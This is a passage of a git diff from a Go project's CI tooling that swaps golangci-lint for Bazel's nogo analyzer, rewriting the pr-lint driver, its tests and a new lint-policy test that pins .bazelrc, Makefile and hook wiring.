"windows-test-binaries": sameRepoBlacksmith8vcpu, - // F7b: scripts-go-checks/pr-lint-wrapper moved to same-repo - // Blacksmith now that main.yml's blacksmith-go-build-cache and - // pr-lint-wrapper `venue` matrix seed their Blacksmith-selection - // GOCACHEs. - "scripts-go-checks": sameRepoBlacksmith4vcpu, - "pr-lint-wrapper": sameRepoBlacksmith4vcpu, // F7b: same-repo Blacksmith Windows (blacksmith-*vcpu-windows-2025, // public beta). test-windows-liveness and worktree-remove-windows are // sized at 4vcpu (a build plus a focused test run each); @@ -2919,17 +2570,15 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "main.yml": { "blacksmith-setup-go-cache": "${{ 'blacksmith-4vcpu-ubuntu-2404' }}", "windows-test-binaries-cache": mainWindowsTestBinariesCacheRunsOn, - // F7b review (B2): these four push-to-main-only jobs seed the + // F7b review (B2): these push-to-main-only jobs seed the // Blacksmith-selection GOCACHEs same-repo PR/merge_group jobs - // above restore from (pr-lint-wrapper/go-vet-cache/test-windows's - // "venue" matrix, blacksmith-go-build-cache's own single leg). + // above restore from (test-windows's "venue" matrix, + // blacksmith-go-build-cache's own single leg). // Each is additionally guarded by a job-level // github.event_name == 'push' && github.ref == // 'refs/heads/main' && github.repository == 'gastownhall/beads' // if: (TestBlacksmithSaverJobsGuardedAgainstPullRequest below), // matching F7c's own saver convention. - "pr-lint-wrapper": mainVenueBlacksmithUbuntu4vcpuRunsOn, - "go-vet-cache": mainVenueBlacksmithUbuntu4vcpuRunsOn, "test-windows": mainVenueBlacksmithWindows4vcpuRunsOn, "blacksmith-go-build-cache": mainBlacksmithGoBuildCacheRunsOn, // Same guard, seeding pr.yml's same-repo macOS legs. diff --git a/scripts/embedded_shard_count_test.go b/scripts/embedded_shard_count_test.go index 3af9b1469..9820ed0ab 100644 --- a/scripts/embedded_shard_count_test.go +++ b/scripts/embedded_shard_count_test.go @@ -65,7 +65,7 @@ func bazelEmbeddedStorageShardCount(t *testing.T) int { // --check verifies only that the committed block names every discovered // test exactly once, failing with the exact command to fix it when a name // is missing, stale, or duplicated — run here so a drifted block fails `go -// test ./scripts/...` (and scripts-go-checks on fork PRs) instead of only +// test ./scripts/...` (//scripts:scripts_test under Bazel) instead of only // surfacing as a test silently never running in any shard. The legacy // blocks are deliberately excluded: both files document that their 20- and // 5-shard blocks are frozen (see .github/scripts/embedded-{cmd,storage}- diff --git a/scripts/nogo_lint_policy_test.go b/scripts/nogo_lint_policy_test.go new file mode 100644 index 000000000..7e06407ca --- /dev/null +++ b/scripts/nogo_lint_policy_test.go @@ -0,0 +1,109 @@ +package scripts_test + +import ( + "os" + "path/filepath" + "regexp" + "strings" + "testing" +) + +// Lint and vet are nogo (//tools/nogo): go test's vet checks plus the +// golangci-lint linters .golangci.yml enables, validated beside every Go +// compile. bazel.yml's required lanes gate them: natively inside +// `bazel test //... --config=ci` (test lane), and for the files only other +// platforms compile inside the pure lane's release cross-compile +// (//tools/bazel:release_cross, every release platform). These pin that +// wiring and that golangci-lint is gone from CI, hooks and make. + +// nogoBazelrcLines are .bazelrc's nogo configs, exactly. +var nogoBazelrcLines = []string{ + "build:nogo --@rules_go//go/config:race", + "build:nogo --keep_going", + "build:nogo --output_groups=nogo_fix", + "build:nogo-cross --keep_going", + "build:nogo-cross --output_groups=nogo_fix", +} + +func TestLintAndVetRunAsNogo(t *testing.T) { + root := sourceRepoRoot(t) + + rc := readPolicyFile(t, root, ".bazelrc") + var got []string + for _, line := range strings.Split(rc, "\n") { + if line = strings.TrimSpace(line); strings.HasPrefix(line, "build:nogo") { + got = append(got, line) + } + } + if !equalStrings(got, nogoBazelrcLines) { + t.Errorf(".bazelrc nogo configs = %q, want %q", got, nogoBazelrcLines) + } + // Every lane validates: a lane that skipped nogo would let findings in + // the files only it compiles (integration-tagged, pure) through. + if strings.Contains(rc, "run_validations") { + t.Error(".bazelrc turns nogo validation off for some lane") + } + + // The cross-platform half: the pure lane's release cross-compile builds + // every library and binary for every release platform, and nogo + // validates each compile (TestReleaseCrossCompileRunsInBazelPureLane + // pins the step). Nothing on that path may opt out of validation. + if script := readPolicyFile(t, root, "scripts/ci/bazel-release-cross-compile.sh"); strings.Contains(script, "run_validations") { + t.Error("scripts/ci/bazel-release-cross-compile.sh turns nogo validation off") + } + for _, line := range strings.Split(rc, "\n") { + if strings.HasPrefix(strings.TrimSpace(line), "build:release-cross") && strings.Contains(line, "validation") { + t.Errorf(".bazelrc %q changes validation for the release cross-compile", line) + } + } + + // No workflow installs or runs golangci-lint. + entries, err := os.ReadDir(filepath.Join(root, ".github", "workflows")) + if err != nil { + t.Fatal(err) + } + for _, e := range entries { + if !strings.HasSuffix(e.Name(), ".yml") { + continue + } + for name, j := range readCIWorkflow(t, e.Name()).Jobs { + for _, st := range j.Steps { + if strings.Contains(st.Run, "golangci") || strings.Contains(st.Uses, "golangci") { + t.Errorf("%s %s step %q runs golangci-lint; nogo replaces it", e.Name(), name, st.Name) + } + } + } + } + for _, gone := range []string{"scripts/ci/install-golangci-lint.sh", "scripts/ci/go-test-vet.sh"} { + if _, err := os.Stat(filepath.Join(root, filepath.FromSlash(gone))); err == nil { + t.Errorf("%s is back; nogo replaces it", gone) + } + } + + // Local entrypoints: make, the pre-commit hook and pre-commit's config. + makefile := readPolicyFile(t, root, "Makefile") + for _, want := range []string{ + "ci-pr-lint:\n\t@./scripts/ci/pr-lint.sh\n", + "lint: ci-pr-lint\n", + "vet: lint\n", + "\t$(BAZEL) build --config=nogo -- $$packages\n", + } { + if !strings.Contains(makefile, want) { + t.Errorf("Makefile lacks %q", want) + } + } + for _, hook := range []string{".githooks/pre-commit", ".pre-commit-config.yaml"} { + body := readPolicyFile(t, root, hook) + if strings.Contains(body, "golangci-lint run") || strings.Contains(body, "golangci-lint@") || strings.Contains(body, "golangci/golangci-lint") { + t.Errorf("%s still runs golangci-lint", hook) + } + if !strings.Contains(body, "make lint-changed LINT_CHANGED_SCOPE=staged") { + t.Errorf("%s does not lint with nogo (make lint-changed LINT_CHANGED_SCOPE=staged)", hook) + } + } + // gofmt is //scripts/repochecks:fmt_test's, not the lint wrapper's + // (ga-96smfk.41). + if wrapper := readPolicyFile(t, root, "scripts/ci/pr-lint.sh"); regexp.MustCompile(`fmt-check|gofmt-bin`).MatchString(wrapper) { + t.Error("scripts/ci/pr-lint.sh runs gofmt; //scripts/repochecks:fmt_test gates formatting") + } +} diff --git a/scripts/pr-lint/BUILD.bazel b/scripts/pr-lint/BUILD.bazel index 906740444..a232d5557 100644 --- a/scripts/pr-lint/BUILD.bazel +++ b/scripts/pr-lint/BUILD.bazel @@ -16,9 +16,7 @@ go_binary( go_test( name = "pr-lint_test", srcs = ["main_test.go"], - data = ["//:.buildflags"], embed = [":pr-lint_lib"], - deps = ["//internal/testutil/bazeltest"], ) # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- diff --git a/scripts/pr-lint/main.go b/scripts/pr-lint/main.go index 0f855347e..d2d18ad27 100644 --- a/scripts/pr-lint/main.go +++ b/scripts/pr-lint/main.go @@ -1,47 +1,57 @@ -// pr-lint runs the repository's canonical Go lint passes without requiring -// Make or Bash. The supported scripts/ci/pr-lint.sh entrypoint delegates here, -// and bd preflight runs this checkout-owned command for the Beads source tree. -// The standalone workflow lint action and pre-commit hook do not call this -// driver; their scope and behavior still differ. +// pr-lint runs the repository's lint gate without requiring Make or Bash: +// nogo (//tools/nogo: go test's vet checks plus the golangci-lint linters +// .golangci.yml enables) under Bazel. The supported scripts/ci/pr-lint.sh +// entrypoint delegates here, and bd preflight runs this checkout-owned +// command for the Beads source tree. +// +// BD_LINT_TARGETS (a comma list of native, windows and darwin; default all) +// selects what is analyzed: +// +// - native: `bazel build --config=nogo //...`, every package and test, in +// the configuration of bazel.yml's unit lane. +// - windows, darwin: //tools/bazel:release_cross, every go_library and +// go_binary split-transitioned to windows/amd64 and darwin/arm64 without +// cgo, so the files only those platforms compile (//go:build windows, +// darwin, !linux, ...) are analyzed on any host, as golangci-lint's +// former GOOS=windows/darwin legs did. bazel.yml's pure lane builds the +// same target for every release platform. +// +// Bazel executes remotely when the developer's or CI's rc configures it. package main import ( - "bytes" "context" - "encoding/json" "errors" "fmt" "io" "os" "os/exec" - "path/filepath" "runtime" "strings" "time" ) -const ( - beadsBuildTags = "gms_pure_go" - goEnvTimeout = 30 * time.Second - lintProcessTimeout = 6 * time.Minute - lintReportedTimeout = "5m" -) +const passTimeout = 30 * time.Minute // defaultLintTargets is BD_LINT_TARGETS' value when unset or empty: the -// no-argument usage contract (`make ci-pr-lint`, `bd preflight`) must keep -// running all three passes locally and from the pre-commit hook. +// no-argument usage contract (`make ci-pr-lint`, `bd preflight`) runs all +// three. var defaultLintTargets = []string{"native", "windows", "darwin"} +// crossPlatforms maps the cross targets to rules_go's non-cgo platforms. +var crossPlatforms = []struct{ target, platform string }{ + {"windows", "windows_amd64"}, + {"darwin", "darwin_arm64"}, +} + type commandSpec struct { name string args []string dir string - env []string } type processRunner interface { lookPath(string) (string, error) - output(context.Context, commandSpec) ([]byte, []byte, error) run(context.Context, commandSpec, io.Writer, io.Writer) error } @@ -51,34 +61,14 @@ func (osProcessRunner) lookPath(name string) (string, error) { return exec.LookPath(name) } -func (osProcessRunner) output(ctx context.Context, spec commandSpec) ([]byte, []byte, error) { - cmd := exec.CommandContext(ctx, spec.name, spec.args...) - cmd.Dir = spec.dir - cmd.Env = spec.env - var stdout bytes.Buffer - var stderr bytes.Buffer - cmd.Stdout = &stdout - cmd.Stderr = &stderr - err := cmd.Run() - return stdout.Bytes(), stderr.Bytes(), err -} - func (osProcessRunner) run(ctx context.Context, spec commandSpec, stdout, stderr io.Writer) error { - cmd := exec.CommandContext(ctx, spec.name, spec.args...) //nolint:gosec // G702: executable is PATH-resolved; argv positions are assembled internally, and the env merge-base remains one unshelled argv value. + cmd := exec.CommandContext(ctx, spec.name, spec.args...) //nolint:gosec // G204: the Bazel launcher with internally assembled arguments cmd.Dir = spec.dir - cmd.Env = spec.env cmd.Stdout = stdout cmd.Stderr = stderr return cmd.Run() } -type nativeGoEnvironment struct { - GOOS string `json:"GOOS"` - CGOEnabled string `json:"CGO_ENABLED"` - GOROOT string `json:"GOROOT"` - GOVERSION string `json:"GOVERSION"` -} - func main() { dir, err := os.Getwd() if err != nil { @@ -93,124 +83,81 @@ func run(args []string, dir string, environ []string, stdout, stderr io.Writer, fmt.Fprintln(stderr, "usage: go run -mod=readonly -tags=gms_pure_go ./scripts/pr-lint") return 2 } - - rawTargets, _ := environmentValue(environ, "BD_LINT_TARGETS", runtime.GOOS == "windows") - targets, err := parseLintTargets(rawTargets) + caseInsensitive := runtime.GOOS == "windows" + targets, err := parseLintTargets(environmentValue(environ, "BD_LINT_TARGETS", caseInsensitive)) if err != nil { fmt.Fprintln(stderr, err) return 2 } - runNative := containsTarget(targets, "native") - runWindows := containsTarget(targets, "windows") - runDarwin := containsTarget(targets, "darwin") - - goPath, err := runner.lookPath("go") + bazel, err := findBazel(environmentValue(environ, "BAZEL", caseInsensitive), runner) if err != nil { - fmt.Fprintf(stderr, "Go toolchain not found in PATH: %v\n", err) - return 1 - } - lintPath, err := runner.lookPath("golangci-lint") - if err != nil { - fmt.Fprintf(stderr, "golangci-lint not found in PATH: %v\n", err) + fmt.Fprintln(stderr, err) return 1 } - effectiveEnv := buildEnvironment(environ, runtime.GOOS == "windows") - probeCtx, cancel := context.WithTimeout(context.Background(), goEnvTimeout) + if containsTarget(targets, "native") { + spec := commandSpec{name: bazel, args: []string{"build", "--config=nogo", "//..."}, dir: dir} + if code := runPass("nogo (native)", spec, stdout, stderr, runner); code != 0 { + return code + } + } + + var platforms []string + for _, p := range crossPlatforms { + if containsTarget(targets, p.target) { + platforms = append(platforms, p.platform) + } + } + if len(platforms) > 0 { + label := "nogo (" + strings.Join(platforms, ", ") + "; non-cgo)" + spec := commandSpec{ + name: bazel, + args: []string{"build", "--config=nogo-cross", "--//tools/bazel:release_platforms=" + strings.Join(platforms, ","), "//tools/bazel:release_cross"}, + dir: dir, + } + if code := runPass(label, spec, stdout, stderr, runner); code != 0 { + return code + } + } + return 0 +} + +// findBazel resolves the Bazel launcher: $BAZEL (the Makefile's variable), +// else bazel, else bazelisk. +func findBazel(override string, runner processRunner) (string, error) { + candidates := []string{"bazel", "bazelisk"} + if override != "" { + candidates = []string{override} + } + for _, name := range candidates { + if path, err := runner.lookPath(name); err == nil { + return path, nil + } + } + return "", fmt.Errorf("bazel not found in PATH (tried %s); install bazelisk (https://github.com/bazelbuild/bazelisk) or set BAZEL", strings.Join(candidates, ", ")) +} + +func runPass(label string, spec commandSpec, stdout, stderr io.Writer, runner processRunner) int { + fmt.Fprintf(stdout, "==> %s\n", label) + ctx, cancel := context.WithTimeout(context.Background(), passTimeout) defer cancel() - native, code := readNativeGoEnvironment(probeCtx, dir, effectiveEnv, goPath, stderr, runner) - if code != 0 { - return code - } - - mergeBase, _ := environmentValue(effectiveEnv, "BD_LINT_NEW_FROM_MERGE_BASE", runtime.GOOS == "windows") - argsForLint := lintArgs(mergeBase) - skipWindows := native.GOOS == "windows" && native.CGOEnabled == "0" - windowsEnv := setEnvironment(effectiveEnv, map[string]string{ - "CGO_ENABLED": "0", - "GOARCH": "amd64", - "GOOS": "windows", - "GOWORK": "off", - }, runtime.GOOS == "windows") - // Files guarded by //go:build darwin (and the !windows && !linux fallbacks) - // are invisible to the Linux runner too, so a darwin-only finding must fail - // the PR here instead of on the next maintainer's laptop. - skipDarwin := native.GOOS == "darwin" && native.CGOEnabled == "0" - darwinEnv := setEnvironment(effectiveEnv, map[string]string{ - "CGO_ENABLED": "0", - "GOARCH": "arm64", - "GOOS": "darwin", - "GOWORK": "off", - }, runtime.GOOS == "windows") - nativeEnv := effectiveEnv - if runtime.GOOS == "windows" { - nativeEnv = preferSelectedGo(probeCtx, dir, effectiveEnv, native, stderr, runner) - if runWindows && !skipWindows { - // GOWORK=off can select a different toolchain. Probe the original - // Go executable and PATH again, before either lint pass starts. - selected, code := readNativeGoEnvironment(probeCtx, dir, windowsEnv, goPath, stderr, runner) - if code == 0 { - windowsEnv = preferSelectedGo(probeCtx, dir, windowsEnv, selected, stderr, runner) - } - } - if runDarwin && !skipDarwin { - selected, code := readNativeGoEnvironment(probeCtx, dir, darwinEnv, goPath, stderr, runner) - if code == 0 { - darwinEnv = preferSelectedGo(probeCtx, dir, darwinEnv, selected, stderr, runner) - } - } - } - cancel() // All discovery shares the existing 30-second probe budget. - - if runNative { - if code := runLintPass( - "golangci-lint (native)", - commandSpec{name: lintPath, args: argsForLint, dir: dir, env: nativeEnv}, - stdout, - stderr, - runner, - ); code != 0 { - return code - } - } - - if runWindows { - if skipWindows { - fmt.Fprintln(stdout, "==> golangci-lint (windows/amd64, non-CGO) already covered by native pass") - } else if code := runLintPass( - "golangci-lint (windows/amd64, non-CGO)", - commandSpec{name: lintPath, args: argsForLint, dir: dir, env: windowsEnv}, - stdout, - stderr, - runner, - ); code != 0 { - return code - } - } - - if !runDarwin { + err := runner.run(ctx, spec, stdout, stderr) + if err == nil { + fmt.Fprintf(stdout, "<== %s succeeded\n", label) return 0 } - if skipDarwin { - fmt.Fprintln(stdout, "==> golangci-lint (darwin/arm64, non-CGO) already covered by native pass") - return 0 + if errors.Is(ctx.Err(), context.DeadlineExceeded) { + fmt.Fprintf(stderr, "<== %s exceeded %s\n", label, passTimeout) + return 1 } - - return runLintPass( - "golangci-lint (darwin/arm64, non-CGO)", - commandSpec{name: lintPath, args: argsForLint, dir: dir, env: darwinEnv}, - stdout, - stderr, - runner, - ) + fmt.Fprintf(stderr, "<== %s failed: %v\n", label, err) + return processExitCode(err) } // parseLintTargets parses BD_LINT_TARGETS: a comma-separated list of // "native", "windows" and "darwin", in any order and with any repetition. -// An empty value (the variable unset, or set to only whitespace and commas) -// selects all three, so the no-argument usage contract is unchanged. Any -// other token is an error: callers exit 2, matching the usage-error exit -// code above. +// An empty value (unset, or only whitespace and commas) selects all three. +// Any other token is an error: callers exit 2, the usage-error exit code. func parseLintTargets(raw string) ([]string, error) { var targets []string for _, field := range strings.Split(raw, ",") { @@ -238,184 +185,16 @@ func containsTarget(targets []string, target string) bool { return false } -func readNativeGoEnvironment( - ctx context.Context, - dir string, - environ []string, - goPath string, - stderr io.Writer, - runner processRunner, -) (nativeGoEnvironment, int) { - spec := commandSpec{ - name: goPath, - args: []string{"env", "-json", "GOOS", "CGO_ENABLED", "GOROOT", "GOVERSION"}, - dir: dir, - env: environ, - } - output, commandStderr, err := runner.output(ctx, spec) - writeDiagnostic(stderr, commandStderr) - if err != nil { - writeDiagnostic(stderr, output) - if errors.Is(ctx.Err(), context.DeadlineExceeded) { - fmt.Fprintf(stderr, "go env exceeded %s\n", goEnvTimeout) - return nativeGoEnvironment{}, 1 - } - fmt.Fprintf(stderr, "inspect native Go target: %v\n", err) - return nativeGoEnvironment{}, processExitCode(err) - } - - var native nativeGoEnvironment - if err := json.Unmarshal(output, &native); err != nil { - fmt.Fprintf(stderr, "parse native Go target: %v\n", err) - return nativeGoEnvironment{}, 1 - } - if native.GOOS == "" || native.CGOEnabled == "" { - fmt.Fprintf(stderr, "go env returned an incomplete target: GOOS=%q CGO_ENABLED=%q\n", native.GOOS, native.CGOEnabled) - return nativeGoEnvironment{}, 1 - } - return native, 0 -} - -// On Windows, Go auto-selection starts another process instead of replacing -// itself. Prefer the selected SDK for lint so cancellation reaches that Go -// process directly. This is not general descendant-process containment. -func preferSelectedGo(ctx context.Context, dir string, environ []string, selected nativeGoEnvironment, stderr io.Writer, runner processRunner) []string { - if !filepath.IsAbs(selected.GOROOT) || selected.GOVERSION == "" { - return environ - } - bin := filepath.Join(selected.GOROOT, "bin") - if strings.ContainsRune(bin, os.PathListSeparator) { - fmt.Fprintln(stderr, "Windows lint: retaining original Go PATH; selected SDK directory contains a PATH separator") - return environ - } - // GOROOT can describe a source-only or custom installation. Verify the - // candidate without allowing it to switch toolchains during this probe. - output, diagnostic, err := runner.output(ctx, commandSpec{ - name: filepath.Join(bin, "go.exe"), - args: []string{"env", "-json", "GOROOT", "GOVERSION"}, - dir: dir, - env: setEnvironment(environ, map[string]string{"GOTOOLCHAIN": "local"}, true), - }) - writeDiagnostic(stderr, diagnostic) - var candidate nativeGoEnvironment - if err != nil || json.Unmarshal(output, &candidate) != nil || - candidate.GOVERSION != selected.GOVERSION || - !strings.EqualFold(filepath.Clean(candidate.GOROOT), filepath.Clean(selected.GOROOT)) { - fmt.Fprintln(stderr, "Windows lint: retaining original Go PATH; selected SDK could not be verified") - return environ - } - path, _ := environmentValue(environ, "PATH", true) - return setEnvironment(environ, map[string]string{"PATH": bin + string(os.PathListSeparator) + path}, true) -} - -func writeDiagnostic(destination io.Writer, output []byte) { - if len(output) == 0 { - return - } - _, _ = destination.Write(output) - if output[len(output)-1] != '\n' { - fmt.Fprintln(destination) - } -} - -func runLintPass(label string, spec commandSpec, stdout, stderr io.Writer, runner processRunner) int { - fmt.Fprintf(stdout, "==> %s\n", label) - ctx, cancel := context.WithTimeout(context.Background(), lintProcessTimeout) - defer cancel() - - err := runner.run(ctx, spec, stdout, stderr) - if err == nil { - fmt.Fprintf(stdout, "<== %s succeeded\n", label) - return 0 - } - if errors.Is(ctx.Err(), context.DeadlineExceeded) { - fmt.Fprintf(stderr, "<== %s exceeded %s\n", label, lintProcessTimeout) - return 1 - } - fmt.Fprintf(stderr, "<== %s failed: %v\n", label, err) - return processExitCode(err) -} - -func lintArgs(mergeBase string) []string { - args := []string{ - "run", - "--config=.golangci.yml", - "--modules-download-mode=readonly", - "--timeout=" + lintReportedTimeout, - "--build-tags=" + beadsBuildTags, - } - if mergeBase != "" { - args = append(args, "--new-from-merge-base="+mergeBase) - } - return append(args, "./...") -} - -func buildEnvironment(environ []string, caseInsensitive bool) []string { - cgoEnabled, found := environmentValue(environ, "CGO_ENABLED", caseInsensitive) - if !found || cgoEnabled == "" { - cgoEnabled = "1" - } - - goFlags, _ := environmentValue(environ, "GOFLAGS", caseInsensitive) - // Match .buildflags: an appended -tags value overrides an inherited bare-Go - // -tags value rather than merging tag lists. - if !strings.Contains(goFlags, beadsBuildTags) { - if goFlags != "" { - goFlags += " " - } - goFlags += "-tags=" + beadsBuildTags - } - - return setEnvironment(environ, map[string]string{ - "BEADS_BUILD_TAGS": beadsBuildTags, - "CGO_ENABLED": cgoEnabled, - "GOFLAGS": goFlags, - }, caseInsensitive) -} - -func setEnvironment(environ []string, overrides map[string]string, caseInsensitive bool) []string { - result := make([]string, 0, len(environ)+len(overrides)) - for _, entry := range environ { - key, _, ok := strings.Cut(entry, "=") - if !ok { - result = append(result, entry) - continue - } - if containsEnvironmentKey(overrides, key, caseInsensitive) { - continue - } - result = append(result, entry) - } - for key, value := range overrides { - result = append(result, key+"="+value) - } - return result -} - -func environmentValue(environ []string, wanted string, caseInsensitive bool) (string, bool) { +// environmentValue returns the last value of wanted in environ; Windows +// environment names are case-insensitive. +func environmentValue(environ []string, wanted string, caseInsensitive bool) string { for index := len(environ) - 1; index >= 0; index-- { key, value, ok := strings.Cut(environ[index], "=") - if ok && environmentKeysEqual(key, wanted, caseInsensitive) { - return value, true + if ok && (key == wanted || caseInsensitive && strings.EqualFold(key, wanted)) { + return value } } - return "", false -} - -func containsEnvironmentKey(values map[string]string, wanted string, caseInsensitive bool) bool { - for key := range values { - if environmentKeysEqual(key, wanted, caseInsensitive) { - return true - } - } - return false -} - -func environmentKeysEqual(left, right string, caseInsensitive bool) bool { - if caseInsensitive { - return strings.ToLower(left) == strings.ToLower(right) - } - return left == right + return "" } func processExitCode(err error) int { diff --git a/scripts/pr-lint/main_test.go b/scripts/pr-lint/main_test.go index 28e681cc4..120579baa 100644 --- a/scripts/pr-lint/main_test.go +++ b/scripts/pr-lint/main_test.go @@ -3,30 +3,18 @@ package main import ( "bytes" "context" - "encoding/json" "errors" "io" - "os" - "os/exec" - "path/filepath" "reflect" - "regexp" "runtime" "strings" "testing" - - "github.com/steveyegge/beads/internal/testutil/bazeltest" ) type recordingRunner struct { - paths map[string]string - goEnvOutput string - goEnvStderr string - goEnvErr error - runErrors []error - outputCommands []commandSpec - runCommands []commandSpec - outputFunc func(context.Context, commandSpec) ([]byte, []byte, error) + paths map[string]string + runErrors []error + runCommands []commandSpec } func (runner *recordingRunner) lookPath(name string) (string, error) { @@ -36,17 +24,9 @@ func (runner *recordingRunner) lookPath(name string) (string, error) { return "", errors.New("synthetic missing command") } -func (runner *recordingRunner) output(ctx context.Context, spec commandSpec) ([]byte, []byte, error) { - runner.outputCommands = append(runner.outputCommands, spec) - if runner.outputFunc != nil { - return runner.outputFunc(ctx, spec) - } - return []byte(runner.goEnvOutput), []byte(runner.goEnvStderr), runner.goEnvErr -} - func (runner *recordingRunner) run(_ context.Context, spec commandSpec, stdout, _ io.Writer) error { runner.runCommands = append(runner.runCommands, spec) - _, _ = io.WriteString(stdout, "synthetic lint output\n") + _, _ = io.WriteString(stdout, "synthetic bazel output\n") index := len(runner.runCommands) - 1 if index < len(runner.runErrors) { return runner.runErrors[index] @@ -66,643 +46,136 @@ func (err syntheticExitError) ExitCode() int { return err.code } -func TestRunUsesCanonicalNativeAndCrossTargetPasses(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "/tools/go", - "golangci-lint": "/tools/golangci-lint", - }, - goEnvOutput: `{"GOOS":"linux","CGO_ENABLED":"1"}`, - } - var stdout bytes.Buffer - var stderr bytes.Buffer - environ := []string{ - "PATH=/tools", - "BD_LINT_NEW_FROM_MERGE_BASE=origin/main", - } +func newRunner() *recordingRunner { + return &recordingRunner{paths: map[string]string{"bazel": "/bin/bazel"}} +} - code := run(nil, "/repo", environ, &stdout, &stderr, runner) - if code != 0 { - t.Fatalf("run exit = %d, want 0; stderr=%s", code, stderr.String()) +var nativeArgs = []string{"build", "--config=nogo", "//..."} + +func crossArgs(platforms string) []string { + return []string{"build", "--config=nogo-cross", "--//tools/bazel:release_platforms=" + platforms, "//tools/bazel:release_cross"} +} + +func commandArgs(runner *recordingRunner) [][]string { + var got [][]string + for _, spec := range runner.runCommands { + got = append(got, spec.args) } - wantProbes := 1 - if runtime.GOOS == "windows" { - // One native probe plus one per cross-target pass. - wantProbes = 3 + return got +} + +func TestRunsNativeThenTheWindowsAndDarwinCrossPass(t *testing.T) { + runner := newRunner() + var stdout, stderr bytes.Buffer + if code := run(nil, "/repo", []string{"PATH=/bin"}, &stdout, &stderr, runner); code != 0 { + t.Fatalf("run() = %d, stderr:\n%s", code, stderr.String()) } - if len(runner.outputCommands) != wantProbes { - t.Fatalf("go env calls = %d, want %d", len(runner.outputCommands), wantProbes) - } - wantGoArgs := []string{"env", "-json", "GOOS", "CGO_ENABLED", "GOROOT", "GOVERSION"} - if got := runner.outputCommands[0].args; !reflect.DeepEqual(got, wantGoArgs) { - t.Fatalf("go env args = %#v, want %#v", got, wantGoArgs) - } - if len(runner.runCommands) != 3 { - t.Fatalf("lint calls = %d, want 3", len(runner.runCommands)) - } - wantLintArgs := []string{ - "run", - "--config=.golangci.yml", - "--modules-download-mode=readonly", - "--timeout=5m", - "--build-tags=gms_pure_go", - "--new-from-merge-base=origin/main", - "./...", - } - for index, command := range runner.runCommands { - if command.name != "/tools/golangci-lint" { - t.Fatalf("lint call %d executable = %q", index, command.name) - } - if command.dir != "/repo" { - t.Fatalf("lint call %d dir = %q, want /repo", index, command.dir) - } - if !reflect.DeepEqual(command.args, wantLintArgs) { - t.Fatalf("lint call %d args = %#v, want %#v", index, command.args, wantLintArgs) + for _, spec := range runner.runCommands { + if spec.name != "/bin/bazel" || spec.dir != "/repo" { + t.Errorf("command %q in %q, want /bin/bazel in /repo", spec.name, spec.dir) } } - assertEnvironmentValue(t, runner.runCommands[0].env, "CGO_ENABLED", "1", false) - assertEnvironmentValue(t, runner.runCommands[0].env, "BEADS_BUILD_TAGS", "gms_pure_go", false) - assertEnvironmentValue(t, runner.runCommands[0].env, "GOFLAGS", "-tags=gms_pure_go", false) - assertEnvironmentValue(t, runner.runCommands[1].env, "GOOS", "windows", false) - assertEnvironmentValue(t, runner.runCommands[1].env, "GOARCH", "amd64", false) - assertEnvironmentValue(t, runner.runCommands[1].env, "CGO_ENABLED", "0", false) - assertEnvironmentValue(t, runner.runCommands[1].env, "GOWORK", "off", false) - assertEnvironmentValue(t, runner.runCommands[2].env, "GOOS", "darwin", false) - assertEnvironmentValue(t, runner.runCommands[2].env, "GOARCH", "arm64", false) - assertEnvironmentValue(t, runner.runCommands[2].env, "CGO_ENABLED", "0", false) - assertEnvironmentValue(t, runner.runCommands[2].env, "GOWORK", "off", false) - for _, heading := range []string{ - "==> golangci-lint (native)", - "==> golangci-lint (windows/amd64, non-CGO)", - "==> golangci-lint (darwin/arm64, non-CGO)", - } { - if !strings.Contains(stdout.String(), heading) { - t.Fatalf("missing lane heading %q in output:\n%s", heading, stdout.String()) + want := [][]string{nativeArgs, crossArgs("windows_amd64,darwin_arm64")} + if got := commandArgs(runner); !reflect.DeepEqual(got, want) { + t.Errorf("bazel commands = %q, want %q", got, want) + } + for _, label := range []string{"nogo (native)", "nogo (windows_amd64, darwin_arm64; non-cgo)"} { + if !strings.Contains(stdout.String(), "==> "+label+"\n") || !strings.Contains(stdout.String(), "<== "+label+" succeeded\n") { + t.Errorf("stdout lacks the %q pass markers:\n%s", label, stdout.String()) } } } -// TestRunHonorsBDLintTargetsSelection covers the pr.yml PR Lint matrix -// (F5.2): each leg sets BD_LINT_TARGETS to exactly one of native, windows or -// darwin, and only that pass must run. -func TestRunHonorsBDLintTargetsSelection(t *testing.T) { - for _, tc := range []struct { - targets string - wantRuns []string // GOOS set on the one command's env, in order +func TestBDLintTargetsSelectsPasses(t *testing.T) { + for _, c := range []struct { + targets string + want [][]string }{ - {"native", []string{"linux"}}, - {"windows", []string{"windows"}}, - {"darwin", []string{"darwin"}}, - {"native,windows", []string{"linux", "windows"}}, - {" windows , darwin ", []string{"windows", "darwin"}}, - {"windows,windows", []string{"windows"}}, + {"native", [][]string{nativeArgs}}, + {" darwin , darwin", [][]string{crossArgs("darwin_arm64")}}, + {"windows", [][]string{crossArgs("windows_amd64")}}, + // Order and repetition do not matter. + {"darwin,native,windows", [][]string{nativeArgs, crossArgs("windows_amd64,darwin_arm64")}}, + {" , ", [][]string{nativeArgs, crossArgs("windows_amd64,darwin_arm64")}}, } { - t.Run(tc.targets, func(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "/tools/go", - "golangci-lint": "/tools/golangci-lint", - }, - goEnvOutput: `{"GOOS":"linux","CGO_ENABLED":"1"}`, - } - var stdout, stderr bytes.Buffer - environ := []string{"PATH=/tools", "BD_LINT_TARGETS=" + tc.targets} - - code := run(nil, "/repo", environ, &stdout, &stderr, runner) - if code != 0 { - t.Fatalf("run exit = %d, want 0; stderr=%s", code, stderr.String()) - } - if len(runner.runCommands) != len(tc.wantRuns) { - t.Fatalf("lint calls = %d, want %d (%v); commands=%#v", len(runner.runCommands), len(tc.wantRuns), tc.wantRuns, runner.runCommands) - } - for index, wantGOOS := range tc.wantRuns { - if wantGOOS == "linux" { - // The native pass does not force a GOOS override. - if got, found := environmentValue(runner.runCommands[index].env, "GOOS", false); found && got != "" && got != "linux" { - t.Fatalf("native pass GOOS override = %q", got) - } - continue - } - assertEnvironmentValue(t, runner.runCommands[index].env, "GOOS", wantGOOS, false) - } - }) - } -} - -func TestRunDefaultsBDLintTargetsToAllThree(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "/tools/go", - "golangci-lint": "/tools/golangci-lint", - }, - goEnvOutput: 